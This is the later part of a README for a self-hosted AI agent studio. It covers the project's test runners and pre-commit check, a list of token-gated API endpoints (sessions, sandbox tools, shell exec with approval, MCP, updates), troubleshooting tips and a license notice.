๐ŸŸจ node tests/js/run.mjs JS only โ€” context, curl, drawer state, harness, interface mode, latency, native tools, tool-markup stripping
๐ŸŒฑ php tests/freshClone.php Both suites, in a fresh copy of the tree in the temp dir โ€” the same check a clone gets, run every time (needs git, which supplies the file list). --head clones the last commit instead of the working tree; --keep keeps the copy. Deleted on success, kept when something fails. Ends every run โ€” pass or fail โ€” with its measured total, split by phase: took: 16.8s (copy 0.4s, PHP 15.5s, JS 1.0s)
  • The layer audit is a stylesheet test. tests/php/layers.test.php parses ui/css/*.css (and the handful of z-index values set from ui/js and index.html) and fails if any surface โ€” panel, drawer, pane, menu โ€” ties or outranks a dialog. Notices are exempt by name with a reason: the fatal banners, the boot splash, the CRT scanline overlay, toasts and the approval prompt, which must be visible over a dialog. It reads the dialog's number and the ladder comment in modals.css rather than hardcoding them, so moving the layer means updating both. It exists because dialogs once sat below the built-in Browser pane and an agent's โ‹ฎ menu at 3000, and nothing failed.
  • Each test file is its own process, exactly as if you had run it by hand, so one file's globals or a failed import cannot colour another's result โ€” and several run at the same time (4 by default; php tests/php/run.php --jobs 1 for one after another, --jobs N for a different width). Results are still printed in file-name order, whatever order they finish in, so two runs of the same tree read the same way and a failure's full output still sits under its own FAIL line. That is only safe because the two things the files used to share are gone: the port each server binds โ€” a walk that starts from a number derived from the file's own process id (tests/php/free-port.php, required by the three files that start a server), rather than tcp://127.0.0.1:0, which hands the same port to two files that ask in the same moment and leaves one of them binding an occupied port or talking to the other one's server โ€” and the log each file writes โ€” exec.log and mcp.log are appends in the install's storage/, and a test that truncates the trace back to the size it found it at would delete a line another file was about to read, so each file is given a log directory of its own (ROUTER_LOG_DIR). One side effect worth having: the suites no longer write the operator's storage/exec.log or storage/mcp.log at all.
  • Naming is the registration. A *.test.mjs in tests/js/ or a *.test.php in tests/php/ is picked up automatically โ€” there is no list to update. Helpers (like tests/php/mcp-mock-server.php, which mcp.test.php spawns itself) simply don't use the .test. name.
  • A file that cannot run one of its checks prints SKIP: with the reason โ€” and the runner repeats it. A skip should mean this machine cannot do it โ€” no bash to drive setup-token.sh, no python for the audit checks, no curl extension, no symlinks on Windows โ€” and never this checkout is missing something only the operator has. A test that needs a fixture builds it: apacheGuards.test.php writes a throwaway copy of the app into the web root, asserts against it and removes it, and guards.test.php uses storage/models.json, which ships with the app, rather than a session transcript only the operator has. The runner re-prints those SKIP: lines under the file's result and totals them, because otherwise "this file skipped two of its checks" looks exactly like "this file had two checks" โ€” which is how a fresh clone quietly ran 18 fewer assertions than the machine they were written on, and still reported green.
  • A suite that cannot run fails the command instead of being quietly skipped: with no php on PATH you get PHP suite did not run and exit 1. Point PHP_BINARY at the binary if it lives somewhere unusual.
  • No internet and no browser. The JS tests import the real modules (tools.js, utils.js, nativeTools.js) straight into Node; the PHP ones use a temporary sandbox root and a local stdio MCP mock. The only servers are the ones the three files that need one start for themselves, each on a loopback port whose walk starts from its own process id (see the port note above) โ€” php -S for serve.php's own router, and the local Apache for the shipped .htaccess files โ€” and each shuts its server down when it finishes. nginxGuards.test.php starts nothing at all: it lifts the location regexes out of nginx.example.conf and runs them through PCRE, which is the engine nginx matches with. One Apache detail it has to handle: Apache reads .htaccess from directories above DocumentRoot too, so a copy of the app nested inside another copy would have the parent's file parsed as server config (<IfModule not allowed here) and answer 500 to everything โ€” which is why the generated config pins every ancestor to AllowOverride None and leaves only the shipped files in play.
  • A pre-commit hook runs the fresh-copy check on what you are committing. .githooks/pre-commit calls tests/freshClone.php --index, so the copy is the staged snapshot and not the working tree โ€” a half-staged commit is checked as the commit it will actually be. Turn it on once per clone with git config core.hooksPath .githooks (nothing in a repo can install a hook into someone's .git), skip one commit with git commit --no-verify, and know that it costs about 17 seconds โ€” 16.8โ€“17.5s measured over six runs here, down from 41s, where an earlier note claimed "about two minutes" โ€” which is what the check costs. A cold machine is slower: the copy is 281 files, and a scanner reading them fresh is part of the price. Neither tool asks you to trust a number, either โ€” every run ends with what it actually cost, on the way past whether it passed or failed: took: 16.8s (copy 0.4s, PHP 15.5s, JS 1.0s), with the hook's own end-to-end seconds printed beside it. The breakdown says where the money goes, and it is still not where it first looked: the two long files are programs.test.php (every look at the process table is a PowerShell start, ~0.65s, and the feature is about what that table says) at ~13s and setupToken.test.php (16 real invocations of the recovery script at ~0.8s each, in an environment where python is deliberately broken so php is the engine that gets used) at ~12.7s. Serially that made the PHP half their sum (39.4s); running the files at the same time makes it the slowest file plus a little (~15.6s), because the longest files are started first and twelve short ones fit around them. Booting Apache, serve.php and the MCP mock cost about two seconds between them, and the JS half is about a second. When a suite fails the copy is kept, so the failure can be looked at where it happened.
  • End a test file with its own count, e.g. 58 passed, 0 failed โ€” plus , N skipped when it had to skip something. The runners read that last line for the per-file summary and the total, and never trust the count of a file that failed. A fresh clone should report the same numbers as the machine the tests were written on: 14 files, 14 passed, 0 failed, 840 assertions, 5 skipped on both.

โš ๏ธ Some tests skip instead of pass, and each prints a SKIP: line when it does: sandbox.test.php skips its git checks when git is missing or its commands are refused in the temporary directory; guards.test.php skips if proc_open is disabled, no loopback port can be bound, or a checkout has no storage/sessions/*.json yet; and apacheGuards.test.php skips when there is no Apache to boot โ€” point ROUTER_HTTPD at one to run it (its nested-copy checks also skip when no second copy of the app is present). A green run therefore does not cover those cases โ€” read the line, it is not a pass.

๐Ÿ“‹ Cutting a release? RELEASING.md is the checklist: which of the two version numbers to bump, and the three places APP_VERSION has to change together so a browser cannot mix a new module with an old one.


๐Ÿ”— API endpoints

All under /router/api/โ€ฆ (or /api/โ€ฆ). Every route is token-gated.

Area Routes
๐Ÿ—‚๏ธ State / config GETยทPUT /state, GETยทPUT /config (secrets masked on read, restored on write), GET /models
๐Ÿ’ฌ Sessions GETยทPOST /sessions, GETยทPUTยทDELETE /sessions/{id}, DELETE /sessions/close/{id}
๐Ÿค– Models / relay POST /query, POST /llm (relay + stream), GET /catalog
๐Ÿ› ๏ธ Sandbox GET /sandbox/status, POST /sandbox/{search,fetch,read,write,list,glob,grep,str_replace,insert,apply_patch,multi_edit,git,git_commit,http,code,program,โ€ฆ}
๐Ÿ–ฅ๏ธ Programs POST /sandbox/program โ€” {action:open|close|list, name, force}
๐Ÿง‘๐Ÿ’ป Shell POST /exec, GET /exec/allowlist, GET /exec/pending, POST /exec/decide
๐Ÿ”Œ MCP GETยทPOST /mcp/servers, GET /mcp/status, POST /mcp/tools, POST /mcp/call
๐Ÿ–ฅ๏ธ MCP server POST /mcp-server (JSON-RPC), GETยทPOST /mcp-server/config
๐Ÿงช Lab / proxy POST /lab, GET /proxies, POST /proxy-ping, GETยทPUT /proxy-active
๐Ÿ“ˆ Misc GET /topology, POST /diag, GET /backup, POST /import, GET /export/{id}, POST /audio/{speak,transcribe}
๐Ÿ” Updates GET /update (status + cached plan + whether it can install), GET /update/check (is a newer release published? cached six hours โ€” POST asks now), POST /update/download (fetch, verify, diff), POST /update/discard, GET /update/state (phase, preflight, backups, log tail), POST /update/backup, POST /update/install (replaces app files), POST /update/finish (swap in a file an install had to defer), POST /update/rollback. Only check and download need curl โ€” the rest work offline on files already on disk

Failures come back as {"error": "..."} with HTTP 400 and a message meant for the model, so a refused path reads as "outside the allowed directories" rather than a blank 500.


๐Ÿงฏ Troubleshooting

  • "PHP's curl extension is not enabled" โ†’ the server was started without the launcher (e.g. a bare php -S). Use start.bat / start.sh, or run php serve.php --setup.
  • Every request returns 401 โ†’ the Access token isn't pasted on this device. The token is per-device; paste it in Config โ†’ Access token.
  • Phone shows an empty UI or immortal 401s โ†’ a split-brain load. Deploy the whole ui/ folder (never single files) and hard-refresh โ€” mixing module versions gives each its own store.
  • Agents "won't use tools" โ†’ check for a global pre-prompt that says "reply with ONLY text / N words" โ€” it fights the tool protocol. The tool instructions now override it and the loop re-prompts once, but turning it off is cleanest. A fleet-wide house rule is fine โ€” just remember it prepends to each agent's prompt by default (or replaces it if you flip the toggle in the editor).
  • An agent's badge says HELD and nothing happens โ†’ it's parked. A cap (Config โ†’ Limits & Budgets โ†’ Max iterations / Max minutes) held it, or you stopped it by hand. Click Config โ†’ Permissions โ†’ RELEASE HELD AGENTS (or toggle the master switch off and on). To loop forever, set both caps to 0 and give the agent a real standing goal โ€” a goal of idle gives it nothing to aim at, so it will wander.
  • Always-on stops when you leave the tab โ†’ turn on Config โ†’ Permissions โ†’ Run while tab is hidden (it drives the timer from a Web Worker). It is off by default so a background loop can't bill you silently.
  • A model returns nothing / "NetworkError" โ†’ on Windows PHP's built-in server is single-threaded; use start.bat (Apache) for parallel agents, or start-php.bat for one at a time.
  • MCP client gets missing bearer token even with a token โ†’ under Apache + PHP-FPM the Authorization header is stripped before PHP sees it. Redeploy api/.htaccess (shipped): it has CGIPassAuth On plus the RewriteCond %{HTTP:Authorization} fallback, so $_SERVER['HTTP_AUTHORIZATION'] is populated. Without that file both are empty. If a proxy/WAF also strips the header, the host must allow it through (nginx: fastcgi_param HTTP_AUTHORIZATION $http_authorization;).
  • Local models not connecting โ†’ make sure Ollama/LM Studio is running and reachable (Ollama :11434, LM Studio :1234).

๐Ÿ“œ License

Copyright โ€” M. Bryce Hudson 2026-2029 All Rights Reserved See LICENSE. ๐Ÿ’™

Made by MBHudson

About

Universal agent studio, turn any AI into an agent with any API format, Loops, Throttle, Routing Tables, more

Topics

Resources

Stars

1 star

Watchers

1 watching

Forks

Releases

Used by

Contributors

Languages